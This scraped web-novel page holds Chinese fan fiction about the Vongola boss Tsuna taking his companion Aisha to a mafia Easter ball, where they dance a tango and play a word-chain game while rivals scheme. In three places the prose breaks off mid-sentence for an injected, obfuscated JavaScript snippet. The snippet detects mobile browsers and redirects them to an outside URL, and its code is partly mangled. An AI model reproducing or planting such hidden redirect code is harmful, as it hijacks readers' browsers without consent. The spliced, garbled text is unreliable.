等他们的对话告一段落,他才道:“那么这件事就这么定下来了——艾莎小姐以前出席过类似的社交场合么?” “我参加过美国的艾滋病研究基金慈善晚会。”艾莎乖巧道,“应该不要紧。虽然不是很擅长这种社交场合,但我很会装样子。” Reborn冷淡而礼貌的点点头,作为杀手他习惯于喜怒不形于色,但沢田认出这是他“满意”时候的表情。 在离开以前,Reborn给出了最后一条忠告:“你们最好事先练习一下。不需要跳得很好,只需要在被踩脚的时候维持住风度就行了。” “Reborn!”沢田纲吉微红着脸制止他——不要突然揭他的这种短啊喂! 房间门再度阖上后,艾莎与沢田对视一眼,两个人都不约而同地松了口气。 “我不擅长应付这种类型的……”艾莎喃喃低语,“真可怕,感觉全身上下的弱点都被看穿了……” 她没想到Mafia的世界还存在这样的人——Reborn的实力或许不是最强的,但他明确知道每场战斗要怎么赢。面对这样的人艾莎会有那么一瞬间后悔自己没带武器。 沢田纲吉无力的为自己的家庭教师辩驳:“Reborn他就是这个性格,但他没有恶意的……总体上来说。” “可他一进门就对我放了杀气啊杀气,纲吉君你没感受到么?”艾莎低声道,“还好我反应快又嘴甜。都说伸手不打笑脸人,二师兄诚不我欺。说起来Reborn他到底多大?看长相明明年纪不大,可完全不会把他当同龄人看待……” “我们还是不要吐槽他了。”沢田纲吉同样低声道,声音里带着点心有余悸,“有时候我觉得他什么都听得到。” “好的好的。”艾莎立马住嘴。 “那么……明晚的舞会,我得去搞条裙子。纲吉君知道哪儿能租到礼服么?”出于某种心虚的原因,她说话的声音比平常稍大一些,简直就像是在说给并不存在于这个房间的Reborn听一样。 沢田摇摇头,“这些交给专门的造型定制会所就可以。我们需要担心的是其他问题。” 顶着艾莎疑惑的目光,沢田纲吉深吸了一口气,脸上浮现出十分痛苦纠结的表情:“——其实我非常非常非常不擅长跳舞。” 不,那是即使用三个非常也不足以形容完全的程度。 每年复活节舞会的第二天库洛姆都会因为脚痛而请假一天。 为此沢田请过无数礼仪老师,但始终无法克服。最后他觉得这也许是没办法的事,每个人都有无论如何也不擅长的东西。 他可以克服内向、在舞会上端着酒杯镇定自若的与各类凶神恶煞的Mafia首领交谈,但实在无法在众目睽睽下搂着一个女孩翩翩起舞——光是现在想象一下他就觉得浑身别扭,身体要僵成铁皮人。 最后Reborn严令禁止沢田与其他家族的千金小姐跳舞,“如果不想彭格列颜面扫地的话。”(他的原话) “哦,没关系。”艾莎大喇喇的挥了挥手,“我们学校有专门的古典舞课程,那门课我不仅没挂科还拿了C+呢!” “……不,这么一说我更加担心了。”沢田纲吉沉默一下后道。 ——C+的成绩无论在哪个成绩评价体系里都算不上高吧!?你为什么能用这么得意的语气说出来啊喂! 果然废柴加废柴是不会创造出奇迹的。沢田在心里绝望而认命的想道。 14. 第14章 礼物 银色宾利在高速公路上飞驰。 车内空间宽敞,沢田纲吉与艾莎各坐一边。前者默然望着窗外,后者……后者哈欠连天。 “晚上还是睡不好么?”自从知道艾莎的失眠问题后,沢田总会时不时的关心她一下。 “唔,总也睡了六、七个小时吧,比以前好多了。”艾莎回道。 ——此乃谎言。其实她每天最多睡1到2个小时。 但一个人每天睡这么点时间还能神采奕奕活蹦乱跳显然不正常。她既不想被沢田当成怪物也不想让他担心。 艾莎也没好意思告诉沢田她犯困可能是因为和他同处封闭空间。最近总是这样,她私下怀疑沢田纲吉是安眠药成精。 不过眼下的确不是打瞌睡的好时机,再这样下去她的眼妆就要花了。 “纲吉君每年都要参加这个舞会么?”她试图转移注意力。 沢田苦恼地点点头:“复活节舞会是Mafia社交季最盛大的活动,如果错过的话只能后续用各种小型社交活动补上……” “懂了,长痛不如短痛。”艾莎满怀同情地望着他。 沢田纲吉今天的装扮与往常大不相同。过长的额发被向上梳拢定型,有两三缕发丝被造型师刻意当作漏网之鱼,它们随意垂下,搭配上他那张温润俊秀的东方面孔,便显出一种恰到好处的贵气。 他一身Armani的黑色西装。这牌子是暴发户最爱,裁剪得体又精致妥帖,天生带一种高调的奢华感。但穿在沢田身上,便另有一股沉静而内敛的气质。 他没搭配什么首饰,只有右手中指的彭格列大空戒指静静昭示着他的身份。 艾莎突然猥琐的嘎嘎一笑。 “……怎么了?”沢田问道,他不由自主地理了理袖口。 “只是想到社交舞会的目的不是为了让未婚男女相互认识么,所谓的大型相亲现场。”艾莎的目光半是同情半是幸灾乐祸,“纲吉君每年这个时候肯定都很辛苦。” 沢田纲吉无奈道:“这种时候就不要取笑我了啊……” 他没想到艾莎居然看穿了这个叫他头痛不已的“复活节舞会”的本质。 刚继承彭格列那年还好,可不知道为什么,最近几年他收到的舞会邀约越来越多。各个家族的贵小姐们投射过来的视线愈发炽热……让人有些害怕。 学生时代沢田也曾梦想过能够变得受欢迎,可等到现在梦想成真,他又怎么都想不通自己到底是为什么这么受欢迎了。 “没事没事,感觉招架不住了你就冲我眨眼睛,”艾莎很有革命情谊的表示,“我立马过来解救你。” 她听上去对这样的社交场合游刃有余,就好像经常帮人处理这种麻烦一样。 沢田心中微微一动:“艾莎……以前经常出席这种活动么?看上去一点也不紧张。” “也不算经常吧。收养我的人热衷于各种酒会,但老实说我以前一直不能理解这种集体庆祝活动。好好的周五晚上,大家在线上拉个群说声节日快乐然后各干各的事不好么……”艾莎皱皱鼻子。 这句话简直说出了沢田的心声。比起把宝贵的周末时间用在社交上,他更想一个人待着打会儿游戏。 要知道这可是宝贵的周末啊。 “而且被一大群人注视的感觉怪讨厌的,大家都说一些没什么用的客套话、东西虽然好吃但都切得太小了根本吃不饱……”她数落着舞会的各种缺点,每一项沢田都深有体会。 “后来我就想通了,大家热衷舞会才不是为了庆祝,只是为了装逼而已。豪车、礼服、珠宝甚至女人,这种东西不秀出来又怎么让人羡慕呢?”艾莎轻声道。“本质上……还是对权与力的追逐啊。” 说这话时她一袭黑裙,整个人被笼罩在昂贵的香水气味中。 灯火在她脸上投下明灭光影,从沢田的角度看过去,只有轮廓是勉强清晰的。 接着艾莎精神抖擞地打了个响指: “——所以我们才要用魔法打败魔法!” “……诶?”沢田纲吉愣住。 明明她前半段话正经又哀凉,充斥着对上层社会纸醉金迷生活的厌恶与批判之情。他本来已经准备好洗耳恭听,万万没想到艾莎最后轻快地打个响指,画风又变得神经病起来。 “反正大家都在装,那么只要我比别人还要装,我就绝不会输!”尽管她表情严肃又认真,画风却依然沙雕。“为此我专门发明了一种表情——纲吉君上学的时候发过呆么?” 这个问题算是问对人了。沢田纲吉默默颔首,他想他有点明白艾莎的意思了。 “上课发呆就得眼神注视着老师,然后面带微笑时不时跟着点点头——这种社交场合也是一样,那些讨厌的眼神和话语根本不用放在心上,只要装装样子就行了。他们以为我在认真听,其实我在脑子里和自己玩词语接龙。” 这听上去根本就是逃避式的精神胜利法…… 沢田在心里微微叹气,但同时他又能微妙的感同身受。 ——如果讨厌的话明明不去做就好了。然而因为有着各种不得不做的理由,所以只好硬着头皮劝慰自己拼命忍耐下去,直到这种劝慰和忍耐也变成一种习惯,直到从表面上看……变得游刃有余起来。 艾莎大概也经历过相似的心理历程吧、讨厌社交也是真的。 今天是不是不该带她来这种场合呢? 沢田脑中快速闪过这样的念头。 这时汽车下了高速公路,他们离目的地越来越近。 “最后再确认一下今天的任务,和纲吉君跳开场舞、观察德维尔家族以及其他可能与【game】有联系的Mafia。” “还有一件呢?”沢田纲吉轻声问。 艾莎愣了一下,但她很快反应过来,并露出了明亮的笑容:“还有不让自己陷入危险,尽量跟在纲吉君身边、顺便帮纲吉君挡桃花。” ……该说最后一句是多余的么? 沢田苦笑一下,然后再次提醒艾莎:“关于跳舞的事……” “关于跳舞的事纲吉君已经强调过好多遍啦,拿游戏比喻就是hell模式对吧?总之开场舞就交给我。”艾莎冲他眨眨眼睛,“放心,我是个好舞伴。” 车子缓缓驶入坡道,远处似乎已经飘来阵阵的乐声。 沢田居然久违的感到一丝紧张,是因为这次他的舞伴不是更为熟悉的雾守么? “纲吉君,记得‘装样子’理论,这样就不会害怕啦。” 在他身旁,艾莎很有经验的轻声说道。 -- 4月的复活节舞会至今已有一百多年的历史,它标志着Mafia社交期的开始。在这一天,西西里岛的几乎全部家族首领都会来赴这场盛宴。由于其中势力过于错综复杂且牵扯到家眷,百年前先人们曾定下盟约,复活节舞会当天永不见血、舞会结束的三天内绝不起任何争端。 这是带领女儿迈入社交圈的好日子,同时也是交朋友的好日子。 然而这几年的复活节舞会只有一位绝对主角。他在五年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658773|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前继承了西西里岛最庞大的家族,由此也成为Mafia世界最年轻的掌权者。 ——彭格列Ⅹ世。 所有人都认得彭格列的那辆银色宾利。Ⅹ世承继了Ⅸ世质朴节俭的品格,对于购入豪车殊无兴趣。五年前他第一次参加舞会用的就是这台宾利,这五年间居然也没换过。彭格列在这方面的坚持叫人讶异。 当然……在女人方面也是一样。 有好事者彼此交换一下调侃奚落的眼神。 身形高大的保镖离开了驾驶座,他恭敬地打开后排的外侧车门并微微弯腰,以此显示他对Boss的敬仰与忠诚。 接着年轻而英俊的教父出现在众人面前。他穿一身黑色的Armani西装,身姿挺拔如竹,右手中指的大空戒指彰显着他尊贵的身份。 Ⅹ世的嘴角永远团着一抹温润好看的笑。男人会忍不住去探究他掩藏在和善外表之下更深层次的东西,而女人会想要拉着他的领带踮脚亲吻他的嘴唇。 他在内侧车门处站定,亲自为舞伴打开车门。 接下来就没什么看头了,所有人都知道他的女伴是库洛姆·髑髅。头两年众人还以为彭格列与他的漂亮雾守有什么不可言说的龃龉,可现在谁都知道他们是再正常不过的同事关系,没一点桃色八卦可看。 ——何止是没有八卦可看,漂亮雾守的礼服选择也渐趋保守,裙摆一年长过一年,去年几乎掩过脚面。 在人们兴味索然的注目中,车门打开,一只黑色高跟鞋轻轻踩地。裸露的小腿线条纤长妩媚,带着种叫人惊心动魄的美。 鞋子的主人借着Ⅹ世伸出的手站定。并不是彭格列雾守,而是一个陌生女孩。她不过二十出头的年纪,乍一看只化着淡妆,却显然用极心思,寥寥几笔将脸庞的精致勾勒到不可思议的程度。 当她抬头扫视四周时,就如同尘封多年的古画骤然出世,瞬间绽放出的光华令人心生敬畏。 短暂的惊艳过后,男人们眼中的神采很快又变得更加暧昧浑浊。Mafia生性贪婪,一道道视线毫不客气的在女孩的身体上流连——她只穿着一条修身黑裙,细细的吊带衬出圆润肩膀。这样轻薄的衣料挡不住经验老到者的窥探,那起伏的曲线宛如四月春山。 她就像一件被精心设计的昂贵礼物。这样的东西当然只会让最强者享用。 ——多么美好的女孩啊,看到她就让人不由自主地联想到权力之至美。 从这一点来说,她与Ⅹ世的确相配。 往年这群人的注目有到这样令人生厌的程度么? 沢田纲吉边想边慢慢环顾一圈。他脸上仍维持着温和的微笑,可在他的扫视下男人们纷纷退却,就像狼群不敢染指头狼的猎物。 年轻的教父心里厌恶这样的比喻,他们不是野兽,艾莎也不是一块令人垂涎的肉。然而在很多人眼里,这个世界的法则就是这样真实残酷的东西。 他们抵达的时间较晚,大多数Mafia都已经入场。现在仍在门口等候的都是些中小家族的成员,每个人脸上都洋溢着虚假谄媚的兴高采烈。 沢田不再关注他们,他绅士地伸出一只胳膊,艾莎立即挽住了他。他不着痕迹的看她一眼,发现女孩挂着浅淡得体的微笑,既像没看见那些令人难堪的打量,又好像已经习以为常。 原来她之前说的装样子是这个意思么? 沢田纲吉心里闪过一丝奇异情绪,可他来不及捕捉,只能任其飞快消逝。 他们在众人的簇拥下进入豪奢的舞会现场。 15. 第15章 Lets tango! 今年的复活节舞会在一所乡间别墅举办。从那低调朴实的红瓦白砖外观绝推测不出其内部的金碧辉煌。 宴会厅的装潢是典型的巴洛克风格,充斥着大量金色浮夸的装饰,极尽绚烂豪华。这种夺目恢弘的艺术形式最初被教会用于宣扬权威与正统(神性与黄金的结合总是能让人产生顶礼膜拜的冲动,)但它很快又演变为一种世俗的、夸耀权力的方式。 最著名的例子就是路易十四主持修建的凡尔赛宫。那种华美张扬得近乎暴力,于是整个欧洲都为之震颤。 别墅的主人想必也想达到类似的目的。侍者推开门的一刹那让人仿佛置身于17世纪的波旁王朝,贵族们在宴会上优雅寒暄,轻声细语间决定国家的未来。 ——当然,只是推开门的一刹那而已。 仔细看的话就会发现房间的内部摆设相当胡来。古希腊雕塑、宗教题材油画以及埃及木乃伊……这些古董当然价值连城,但它们被随意堆叠在一起时总让人产生一种时空错乱的荒谬感,特别是当它们旁边还横着一个《星球大战》尤达大师的等身手办的时候。 总的来说,别墅主人想必是位振臂高呼“爷有钱!爷超有钱!除了品味爷什么都有但无所谓因为爷超级有钱呵哈哈哈哈哈哈哈哈!”的妙人。 “我们是穿越到了王之财宝内部么?能做到这种程度的感觉只有那位金皮卡啊……” 艾莎趁着其他人不注意小声和沢田吐槽。她学过腹语,说话时能做到嘴唇几乎不动然而声音清晰。 沢田纲吉短暂的沉默一下:“……其实这是彭格列某位高层名下的私产。” 艾莎也沉默了,下一秒她立马活泼地惊叹道:“…哇喔,到处都金光闪闪的!” ——太假了!而且这种让人大晚上进来都想戴墨镜的夸张风格又不是他的品味,不用表现得这么体贴也没关系! 沢田嘴角微抽。他明显想吐槽艾莎这种见风使舵的狗腿子行为,但一瞬的功夫已经有不熟的Mafia首领上前问候,年轻的教父只好重新摆出官方笑容回应。 艾莎也立即回到了眼观鼻鼻观心的神游状态。她乖巧地挽着沢田的手臂,冲每一个好奇打量她的人露出微笑。 与此同时的宴会厅二楼,几个年轻女孩正居高临下地俯视着她。 “今年Ⅹ世的舞伴不是髑髅呢。”一个女声轻轻道。她挑剔地观察片刻,终于不情不愿的给出了自己的评价,“……她看上去太白了,一点也不健康。” “她不可能是Ⅹ世的未婚妻,否则这么重要的消息早该传遍了。”另一道女声笃定地说,“——他们是情人关系么?” “**!***!”第三道女声尖声道。听到“情人”两个字她的脸立即扭曲了,嘴里不停冒出各种污言秽语。 她们分别穿着红蓝黄三色的礼裙,且都是圣贝罗女子学校的学生。 那是一所由Mafia投资创办的私立女校,目的是为了将各个家族的千金小姐教导为合格的淑女与贤妻预备役。 “蒂娜大人,您见过她么?”红裙子扭头问她们身后的第四人。 被称作‘蒂娜大人’的少女缓缓上前。她看上去明艳动人,美貌程度与前三人不在一个等级。 “……她叫菲奥娜·怀特,原本是个普通大学生,最近总部的人都说她成了纲吉先生的情人。”蒂娜的声音倨傲而轻蔑,“但应该是假消息。” “告诉乐队,计划不变。”她轻声道。 她的话仿佛什么醒世箴言,另外三名少女听了都欢欣雀跃。她们没有注意到蒂娜正紧紧抓着二楼的扶手,用力到指尖泛白。 她远远地凝视着那位褐发青年——他刚刚应付完一大群人,此刻正端着酒杯听女伴说话,唇角温柔含笑。 -- 大概是因为刚才提到了fate,等一大波应酬结束后,艾莎和沢田开始小声地聊起fgo。那是一款以型月Fate为基础的卡牌游戏,世界观庞大。 它在十年前一度很火爆,服务器一路从日本开到中国再到美国,最终却因为种种原因停服。 艾莎对里面一个角色的实力设置怨念颇深——那是位举止温文尔雅的人形兵器,按照设定本该与吉尔伽美什一个等级,可游戏却灾难性地配给了他三绿一红的卡组——总之她轻声说着这类在场除了沢田外没人能听得懂的重度宅系吐槽。 沢田纲吉静静地听她说话,偶尔回上一两句。他很少能像这样在社交场合稍微放松下来。 突然,艾莎的说话声戛然而止。沢田没有询问而是默默挺直了背,这是他们在这段不长的“组队社交”期间培养出的默契。 三秒后洛克家族的首领出现在沢田面前。 “……又见面了,彭格列。”他不咸不淡地打了招呼。 沢田礼貌地颔首问候。彭格列与洛克家族刚刚才结束一段不小的争端,前几天才正式谈完后续的处理方案,还有些更加具体的工作等待落实。 这次交锋中后者损失不小,连带着现在首领的脸色也不好看。 他们简单地寒暄了几句,期间对方数度欲言又止,话到嘴边却最终没能说得出来。 这时,有Mafia跑到厅堂正中的位置,拿一柄小勺子敲响手中的香槟酒杯。 这是舞会正式开始的预兆,他用意大利语说着优美的祝词,人们都自发的安静下来并让出空间。 沢田纲吉歉然地看着洛克家族的首领,他体贴地表示等开场舞结束再继续他们的交谈,可对方却摇头拒绝了。 他的视线轻轻扫过艾莎,但什么也没说便转身离去了。 望着他的背影,沢田微微皱眉。直觉告诉他这段小插曲暂时不用在意,但最好也不要忽略。 “纲吉君,一会儿是不是要跳舞了?”艾莎悄悄问道。她的意语水平还不足以支撑她听懂这段冗长繁复的祝词。 沢田纲吉轻轻吐出一口气,然后点了点头。 其实他心里对开场舞还是有些担心,昨晚他们只象征性的练习了一分钟不到的时间。 艾莎在确定他知道基础舞步且能轻松把她举起来后就没再练习。 反正像华尔兹这种慢节奏“蹦擦擦”一共就那么上下左右四五个动作不断循环,在她看来沢田既然打得一手好街霸就没理由不会跳华尔兹。 听到这种言论不斗一下槽是不可能的。然后说着说着他们的话题就严肃认真的拐到了街霸上面……沢田想如果Reborn在场大概会把他和艾莎当场射杀。 早知道昨晚就再坚持练习一下了啊。还有平常,不要自暴自弃而是继续请舞蹈老师就好了……沢田纲吉心里有点后悔,这时他感到小臂被轻轻握了一下。 “纲吉君,身体变僵了喔?”艾莎道,“说了开场舞就交给我嘛,再多信赖我一点也没关系啊……” 人群中,沢田纲吉悄悄的和她对视一眼。他惯常总是一副温润好看的笑容,总叫人联想起天空或者玉石一类的东西。 可刚才下意识的那一眼间,他的眼神却让艾莎莫名想到兔子那样软乎乎的小动物。 “绝对相信你……我只是有点担心踩脚的事。”沢田道。 “放心。”艾莎的眉眼舒展开来,冲他露出一个安抚的笑,“如果你踩到我,我绝对踩回去。” ……不!这到底怎么让人放心得下!你露出来的表情和说的话完全相反啊喂! 沢田想象一下那个场景,觉得接下来的华尔兹说不定会被他们跳成恰恰也说不定…… 漫长的祝词终于结束,乐队也已经就绪。沢田纲吉带着艾莎缓缓走向宴会厅中央。 神奇的是,他的身体的确没有那么僵硬了。 -- 舒缓的乐声悠然响起,听到这个旋律,艾莎一愣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658774|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这是《花之圆舞曲》,柴可夫斯基《胡桃夹子》里的经典曲目,时长可以达到8分钟以上。它并不合适作为开场舞曲。除非中途不断有人加入,然后他们在盛大的舞会中各自交换舞伴。 8分钟啊……快一点的话沢田大概能和七八个女孩共舞吧。 她不着痕迹地扫视一圈。人群最前方站着的都是些年轻女孩,她们都带着舞伴,可注意力却都放在舞厅中央,一个一个就像蓄势待发的猎手。 “艳福不浅呦纲吉君。”艾莎哑然失笑,她忍不住低声调侃还没摸清状况的褐发青年。“……计划有变。” 沢田的神情有些茫然,但是正如他所说的那样,在跳舞这件事上他无条件信任艾莎。 “待会儿我转身后,你伸右手邀舞。舞步暂时按昨天晚上的来,剩下的交给我。”她细致地说明一下,然后突然后退几步,拉开了二人间的距离。 艾莎冲乐队做出了一个停止的手势。 那是一个非常强硬的手势,在指挥界意味着一切中止。乐队的第一小提琴手以前是悉尼交响乐团的成员,所以他看见这个手势就条件反射的停止了演奏。 于是整个乐队都跟着停了下来。 人群间有轻微骚动,但她置若罔闻,只是对坐在正中的小提琴手微微一笑: “Tango,please.” 小提琴手陷入犹豫,原本计划中的曲目是雇主千叮万嘱过的。可他没有犹豫太长时间,因为面前的女孩虽然微笑,眼神里却透露出不容否定的意味。一瞬间仿佛有一道命令在他脑海中被下达。 “…Certainly,ma’am.”小提琴手服从了女孩的意志,他是乐队的主心骨,整个乐队快速地更换了曲目。 音乐再响起时,曲调已变得哀婉缠绵。 艾莎慢慢环视一圈人群。随着曲目的变化,她的气势也跟着变了。 上一秒她还是那个低调陪伴在彭格列Ⅹ世身边、优雅而温顺的女伴,可现在她好像已经变成这个奢华房间的主人。 艾莎缓缓转身,看到沢田平静的对她做出邀舞姿势。 “发生什么了?”沢田轻声问道。他们仍然是华尔兹那样中规中矩的距离,艾莎的手搭在他的肩上,他的手虚扣住她的腰。 艾莎简单的向他解释。沢田听完脸色一僵,在他看来“和七八个女孩跳舞”与“把七八个女孩踩瘸”以及“被Reborn送去三途川游泳”没什么区别。 “可是探戈啊……”沢田的眼神里带点为难。 他多少知道点探戈的相关知识,比如什么男女缠绵的舞蹈、强劲的甩头、必须保持扑克脸之类,总之是比华尔兹高阶很多倍的复杂舞种。 “放松。探戈比华尔兹随性很多,你甚至不用把我举起来。”艾莎还是配合着沢田的脚步,声音不紧不慢,“这首曲子只有3分钟出头,很快就可以结束了。看过《闻香识女人》么?” 她的语气随意的就像闲聊,舞步也很简单,沢田纲吉甚至没什么在跳舞的实感。 “里面有句台词特别好——‘哪怕步子乱成一团也无所谓,继续跳就好了。’” 艾莎向前踏出一步,高跟鞋探入他两脚之间,引他以一种近乎拥抱的姿势轻巧旋转。 很奇异的,在她的引导之下,沢田竟然跟上了节奏。在他先前的舞蹈老师看来这几乎是一件不可能完成的任务。 等到旋转结束,沢田才发现他们之间的距离已经很近很近。艾莎的额头就贴在他侧颊,她发间传来淡淡的白檀香气。 这时钢琴加入,小提琴轰鸣! 曲子一改先前的低婉,雄赳赳地迈入高潮阶段。 艾莎猝然远离,巨大的水晶吊灯下黑色裙摆翻飞如蝶。 借着乐声遮掩,她的声音里带着种随性的笑意: “——探戈里无所谓错步,不像人生!” 16. 第16章 接龙 金碧辉煌的宴会厅内,女孩借着彭格列Ⅹ世的手翩然旋转。 看得出她有很好的芭蕾功底,一次次的肢体舒展让人联想到天鹅昂首。 可比起正儿八经的跳舞,她更像是在和Ⅹ世当众调情。每次远离时脸上都带着点挑衅的笑,像是要Ⅹ世主动伸手才肯重回他的掌控。 而Ⅹ世……Ⅹ世看起来也不讨厌这种感觉——岂止是不讨厌,他的表情根本是带着点无奈的纵容。 这位年轻的教父似乎心甘情愿当一回女孩的陪衬。他一直跟着她的步调,如果她要旋转他就借出手掌支撑;如果她想共舞他就坦然张开怀抱。 他的眼神那样专注,就好像全然忘记了其他人的存在。世界上只剩下他们两个人。 激昂渐熄。第一段高潮结束,乐声重回哀婉低沉。 女孩将额头抵在Ⅹ世侧脸,亲密的姿势恰如情人间的絮絮低语。 ——在所有人都注意不到的地方,他们也的确是在絮絮低语。 “ルール(规则)。” “……”沢田纲吉沉默一下,接道,“ルーブル(卢浮宫)。” “呜哇真狡猾。”艾莎边说边踢了一下小腿,像是要把这个皮球再踢回去,“ルミノール(鲁米诺试剂)。” 重新接回皮球的沢田纲吉:“……” 你一个德国人为什么会知道那么多稀奇古怪的日语单词啊喂!? ——是的,众目睽睽之下,彭格列Ⅹ世和他的漂亮女伴正快乐地玩着词语接龙。 并且作为一个土生土长的日本人,Ⅹ世似乎陷入了相当不利的境地。 艾莎显然知道这个游戏的诀窍——日语中以“る”结尾的单词很多,以其开头的却少得令人发指。 这就和在中文词语接龙里祭出“们”这种大杀器差不多。 刚刚他们谁都不愿意接,所以干脆用以“る”开头以“る”结尾的单词互相踢皮球,可最终居然是沢田率先屈服。 “…ルーズ(散漫)。”他有点郁闷地放弃了正面对决。 “哈!”艾莎忍不住露出一个眉飞色舞的笑。她将沢田轻轻推开,像胜利者一样抬起一只手优雅致意。 沢田纲吉投以一个无奈的注目。他伸出右手,她在握住后轻巧的顺着他的手臂回旋到他身前。 借着这个动作,艾莎重新将手搭回到他肩上。沢田在这时恰好微微低头,两人呼吸交错,额头几乎相抵。 这是一个太近的距离。他们的动作都微微一顿,可谁也没移开视线。 “……ズボン(裤子)。”艾莎下意识接道。 说完她立即想反悔,可是已经来不及了。 ——日文中几乎没有以‘ン(ん)’开头的单词,玩家用它结尾算是违规。 “…艾莎,以‘ン’结尾要算输的啊。”沢田纲吉小声道。他的表情有点呆,像是也不知道自己在说什么,可眼神却是异常温驯柔软的。 温热的呼吸吹拂到她脸上,有点痒痒的。 艾莎同样一呆,不明白自己刚刚为什么脑子一抽、把胜利拱手让人。 她有点懊恼地错开视线拉开距离,踩着乐声的节奏轻盈跳跃。 “好啦好啦你赢啦,7秒后给我一个后退弓步蹲!” 她简洁明了地下达指令,仿佛他们在跳的是什么搞笑版双人广播体操。 沢田乖乖读秒照做。他并没有流露出胜利的喜悦,仔细看的话甚至还有点赧然。 乐声将息,艾莎轻巧地跳起,黑色裙摆绕着他的膝盖翻飞半圈。 音乐停止的那一刻,她依靠着沢田的半步后退缓缓稳住了身形。巨大的水晶吊灯下两个人的影子暧昧交叠,她搭着他的肩膀他搂着她的腰,她的一条小腿勾缠住他的。 在探戈中这是一个标准的收尾动作,肢体间的勾连隐隐折射出惊心动魄的意味。 他们再度对视。 这一回距离恰当,彼此最先关注到的都是对方眼睛的颜色。 这个对视如此安静。 短暂的静默后,他们赢得掌声如雷。 -- “——棒极了的开场!”对于自己这位师弟,迪诺·加百罗涅总是不吝夸奖,“阿纲,你们是在交往么?” 他的眼中闪动着纯然的好奇。 开场舞结束后,舞会正式开始。往年这时候各个家族的小姐们总会拥上来邀舞,库洛姆一个人挡不住她们,迪诺便会过来帮忙。 他的师兄和他一样苦手舞会——罗马里欧可以以左右手的身份陪同他参加这种社交场合,但总不能在他和女伴翩翩起舞的时候像根桩子一样立在舞池里——于是每年的开场舞结束后,彭格列与加百罗涅的十代首领总会端着酒杯立在一处不起眼的角落,神色严肃的好像在商谈什么大事。 “没有。”沢田纲吉顿了顿,他不知道要怎么向迪诺说明他和艾莎之间的关系。 说合作者听起来太生疏;盟友比较恰当,但又需要更详细的解释。 那么朋友呢……沢田暗自琢磨,“朋友”当然没问题,但他觉得在这样的语境下似乎又显得有些敷衍。 他下意识看向艾莎。她正默默驻足在一幅《耶稣受难图》前,和他离得有点远。从他的角度只能看到一个纤瘦高挑的背影。 这是昨天就商量好的事。开场舞结束后她会落单一段时间用来‘钓鱼’,但必须要在沢田视线所及范围内。 “——那就是即将交往咯?”一旁的迪诺有些揶揄地笑起来。 “不要瞎说啊……”沢田纲吉无奈地说。这件事解释起来太麻烦,因此他干脆利落地转了话题。“今年邀舞的人似乎变少了。” 本来他还在头痛艾莎不在的这段时间要怎么应付过去才好,可今年居然出乎意料的清净。 “……这是当然的啊。看那边。”迪诺边说边不着痕迹地示意他。 沢田纲吉顺着迪诺的视线看过去,然后毫无防备的与爱德华多的女儿四目相对。 ——蒂娜?她竟然也来了,身体不要紧么? 沢田心头划过一丝担忧,旋即又反应过来:她当然会在这里,这所乡间别墅本就是她家的私产。 他正犹豫要不要去打个招呼,蒂娜却已经别开视线,用一副“你已经脏了”的哀伤表情扭头跑出了宴会厅。 沢田纲吉:“……” 心里微妙的松了口气的同时,沢田又有点疑惑:“可是……到底是为什么……?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658775|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 迪诺无奈地叹了口气。有时候他觉得这位师弟在这种事情上实在表现得过于迟钝和不解风情(其实他自己也没好到哪里去,但他本人似乎对此一无所知)。 “谁都看得出你和菲奥娜小姐关系匪浅。”迪诺道。他耸耸肩膀,带着点白种人特有的开放态度。 “说实话,刚刚你们那段探戈给人的感觉简直是在硬木地板上havingsex.” 闻言,沢田纲吉猛呛了一口酒。还好他多年的礼仪课没有白上,忍了又忍终于将之闷在酒杯里,化为一声轻轻的、颇为尴尬的咳嗽。 “……什么?”他瞬间面红耳赤,一度怀疑是自己听错了。 自从成年以后,Reborn和迪诺这样年长又亲近的人就不再对他避讳这类话题。每当这种时候沢田都尴尬得恨不得原地变回未成年。 事关艾莎的清白,他立即解释起来,手忙脚乱的样子倒的确让人回忆起往日时光。 迪诺却不在这个话题上停留。这个神经大条的家伙此刻居然又恢复了严肃,感觉丝毫没把他刚才那一大通解释放在心上: “总之,阿纲,既然你带她来参加舞会,就说明你已经做好了相应的觉悟吧?这两年彭格列的地位虽然稳固,但底下毕竟有不少小冲突。” ——你究竟总了个什么之!?在这种时候突然提起正经话题也太犯规了! 尽管沢田纲吉内心濒临崩溃,但这样的话题总是要好好面对的。 他没有回答,只是默然颔首。 觉悟什么的,在看到她以那样的方式结束第一个【game】时他就做好了。又或许是更早之前—— 沢田纲吉凝视着艾莎的背影,眼神里透露出无比坚定的意味。 无论发生什么、无论发生什么, ——他会拼死保护她。 看到师弟此时的表情,迪诺脸上先是闪过一丝讶异,然后笑意更深。 